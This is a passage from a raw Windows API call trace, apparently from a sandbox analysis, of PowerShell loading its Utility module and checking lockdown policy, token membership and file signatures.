lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0151.101] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0151.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c8f0) returned 1 [0151.101] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0151.102] GetFileType (hFile=0x76c) returned 0x1 [0151.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c860) returned 1 [0151.102] GetFileType (hFile=0x76c) returned 0x1 [0151.102] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x0 [0151.102] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.102] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x1000 [0151.102] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.103] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x2000 [0151.103] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.104] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x3000 [0151.104] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.104] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x4000 [0151.104] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.104] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x5000 [0151.104] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.105] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x6000 [0151.105] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x1000, lpOverlapped=0x0) returned 1 [0151.105] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x7000 [0151.105] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x780, lpOverlapped=0x0) returned 1 [0151.105] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x7780 [0151.106] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5c130, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5c130*, lpNumberOfBytesRead=0x250580c938*=0x0, lpOverlapped=0x0) returned 1 [0151.106] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580c8b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580c8b8*=0) returned 0x7780 [0151.106] ReadFile (in: hFile=0x76c, lpBuffer=0x1cbdab5ca48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580c938, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab5ca48*, lpNumberOfBytesRead=0x250580c938*=0x0, lpOverlapped=0x0) returned 1 [0151.107] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a35300 [0151.107] GetSystemDirectoryW (in: lpBuffer=0x1cbf2a35300, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0151.107] CoTaskMemFree (pv=0x1cbf2a35300) [0151.107] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0151.107] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0151.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c840) returned 1 [0151.107] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580c920 | out: lpFileInformation=0x250580c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0151.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c800) returned 1 [0151.108] GetSystemInfo (in: lpSystemInfo=0x250580c990 | out: lpSystemInfo=0x250580c990*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0151.108] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580c898 | out: phkResult=0x250580c898*=0x778) returned 0x0 [0151.108] RegQueryValueExW (in: hKey=0x778, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580c8e8, lpData=0x0, lpcbData=0x250580c8e0*=0x0 | out: lpType=0x250580c8e8*=0x0, lpData=0x0, lpcbData=0x250580c8e0*=0x0) returned 0x2 [0151.108] RegCloseKey (hKey=0x778) returned 0x0 [0151.108] CloseHandle (hObject=0x76c) returned 1 [0152.035] CoCreateGuid (in: pguid=0x250580caf8 | out: pguid=0x250580caf8*(Data1=0xa422b661, Data2=0x8834, Data3=0x4bb0, Data4=([0]=0xa9, [1]=0xac, [2]=0x41, [3]=0x4c, [4]=0x3a, [5]=0xcc, [6]=0xb8, [7]=0xd0))) returned 0x0 [0152.035] GetCurrentProcess () returned 0xffffffffffffffff [0152.094] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580ca48 | out: TokenHandle=0x250580ca48*=0x664) returned 1 [0152.094] GetTokenInformation (in: TokenHandle=0x664, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x250580cad8 | out: TokenInformation=0x0, ReturnLength=0x250580cad8) returned 0 [0152.094] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1cbd86e6f80 [0152.094] GetTokenInformation (in: TokenHandle=0x664, TokenInformationClass=0x8, TokenInformation=0x1cbd86e6f80, TokenInformationLength=0x4, ReturnLength=0x250580cad8 | out: TokenInformation=0x1cbd86e6f80, ReturnLength=0x250580cad8) returned 1 [0152.094] LocalFree (hMem=0x1cbd86e6f80) returned 0x0 [0152.094] DuplicateTokenEx (in: hExistingToken=0x664, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x250580cb38 | out: phNewToken=0x250580cb38*=0x778) returned 1 [0152.094] CheckTokenMembership (in: TokenHandle=0x778, SidToCheck=0x1cbda9d0480*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x250580cb40 | out: IsMember=0x250580cb40) returned 1 [0152.094] CloseHandle (hObject=0x778) returned 1 [0152.102] QueryPerformanceCounter (in: lpPerformanceCount=0x250580c728 | out: lpPerformanceCount=0x250580c728*=24921185997) returned 1 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0152.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c5a0) returned 1 [0152.102] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x250580c680 | out: lpFileInformation=0x250580c680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0152.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c560) returned 1 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0152.102] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0152.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c480) returned 1 [0152.103] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x250580c560 | out: lpFileInformation=0x250580c560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0152.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c440) returned 1 [0152.103] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0152.103] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0152.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c410) returned 1 [0152.103] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0152.103] GetFileType (hFile=0x778) returned 0x1 [0152.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c380) returned 1 [0152.103] GetFileType (hFile=0x778) returned 0x1 [0152.103] WTGetSignatureInfo () returned 0x0 [0152.186] CertDuplicateCertificateContext (pCertContext=0x1cbf29f05d0) returned 0x1cbf29f05d0 [0152.186] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580c4a8 | out: phkResult=0x250580c4a8*=0x780) returned 0x0 [0152.186] RegQueryValueExW (in: hKey=0x780, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580c4f8, lpData=0x0, lpcbData=0x250580c4f0*=0x0 | out: lpType=0x250580c4f8*=0x1, lpData=0x0, lpcbData=0x250580c4f0*=0x56) returned 0x0 [0152.186] RegQueryValueExW (in: hKey=0x780, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580c4f8, lpData=0x1cbda9dc700, lpcbData=0x250580c4f0*=0x56 | out: lpType=0x250580c4f8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580c4f0*=0x56) returned 0x0 [0152.186] RegCloseKey (hKey=0x780) returned 0x0 [0152.186] CoTaskMemAlloc (cb=0x10) returned 0x1cbf2906be0 [0152.186] CoTaskMemAlloc (cb=0x50) returned 0x1cbf2982670 [0152.186] WinVerifyTrust () returned 0x0 [0152.188] CoTaskMemFree (pv=0x1cbf2982670) [0152.188] CoTaskMemFree (pv=0x1cbf2906be0) [0152.188] CertFreeCertificateContext (pCertContext=0x1cbf29f05d0) returned 1 [0152.188] CloseHandle (hObject=0x778) returned 1 [0152.203] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0x6630c87f, Data2=0x1263, Data3=0x4965, Data4=([0]=0xa1, [1]=0x5f, [2]=0x76, [3]=0xd0, [4]=0x80, [5]=0x10, [6]=0xf0, [7]=0x2d))) returned 0x0 [0152.205] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0x7ee4dd31, Data2=0x2291, Data3=0x48d7, Data4=([0]=0x84, [1]=0xa7, [2]=0x3d, [3]=0x5b, [4]=0x72, [5]=0x20, [6]=0xb7, [7]=0x14))) returned 0x0 [0152.206] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0x67770197, Data2=0x6570, Data3=0x4a4b, Data4=([0]=0x8d, [1]=0x37, [2]=0x34, [3]=0x25, [4]=0xce, [5]=0xbb, [6]=0x49, [7]=0xe4))) returned 0x0 [0152.206] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0xfd4675c9, Data2=0x79b8, Data3=0x4cfd, Data4=([0]=0x90, [1]=0xb7, [2]=0x3b, [3]=0xd4, [4]=0xe2, [5]=0x7f, [6]=0x41, [7]=0xb))) returned 0x0 [0152.717] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0x22db356c, Data2=0x6fa4, Data3=0x4812, Data4=([0]=0xb4, [1]=0x28, [2]=0xe, [3]=0xd6, [4]=0x8f, [5]=0xb5, [6]=0x1e, [7]=0x0))) returned 0x0 [0152.717] CoCreateGuid (in: pguid=0x250580c508 | out: pguid=0x250580c508*(Data1=0x5e22716d, Data2=0x1e9f, Data3=0x4684, Data4=([0]=0x83, [1]=0xa3, [2]=0xf5, [3]=0x66, [4]=0x6c, [5]=0x2, [6]=0x65, [7]=0xd8))) returned 0x0 [0153.110] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.111] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.111] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa55690, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.111] RegCloseKey (hKey=0x664) returned 0x0 [0153.112] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.112] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.112] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa55a38, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.112] RegCloseKey (hKey=0x664) returned 0x0 [0153.112] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.112] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.112] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa55db8, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.112] RegCloseKey (hKey=0x664) returned 0x0 [0153.112] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.113] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.113] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa56150, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.113] RegCloseKey (hKey=0x664) returned 0x0 [0153.113] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.113] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.113] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa564f8, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.113] RegCloseKey (hKey=0x664) returned 0x0 [0153.115] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.115] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.115] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa568a0, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.115] RegCloseKey (hKey=0x664) returned 0x0 [0153.115] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x664) returned 0x0 [0153.115] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.115] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdaa56c20, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0153.115] RegCloseKey (hKey=0x664) returned 0x0 [0153.116] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db88 | out: phkResult=0x250580db88*=0x664) returned 0x0 [0153.116] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dbd8, lpData=0x0, lpcbData=0x250580dbd0*=0x0 | out: lpType=0x250580dbd8*=0x1, lpData=0x0, lpcbData=0x250580dbd0*=0x56) returned 0x0 [0153.116] RegQueryValueExW (in: hKey=0x664, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dbd8, lpData=0x1cbdaa57008, lpcbData=0x250580dbd0*=0x56 | out: lpType=0x250580dbd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dbd0*=0x56) returned 0x0 [0153.116] RegCloseKey (hKey=0x664) returned 0x0 [0155.008] EtwEventActivityIdControl () returned 0x0 [0155.012] SetEvent (hEvent=0x768) returned 1 [0155.012] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x250580df10*=0x768, lpdwindex=0x250580dce4 | out: lpdwindex=0x250580dce4) returned 0x0 [0155.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e010, nSize=0xeb | out: lpBuffer="ր%") returned 0x0 [0155.040] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0155.040] GetFileType (hFile=0x54) returned 0x2 [0155.040] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x250580e218 | out: lpMode=0x250580e218) returned 1 [0155.220] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, lpConsoleScreenBufferInfo=0x250580e1f8 | out: lpConsoleScreenBufferInfo=0x250580e1f8) returned 1 [0155.327] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, 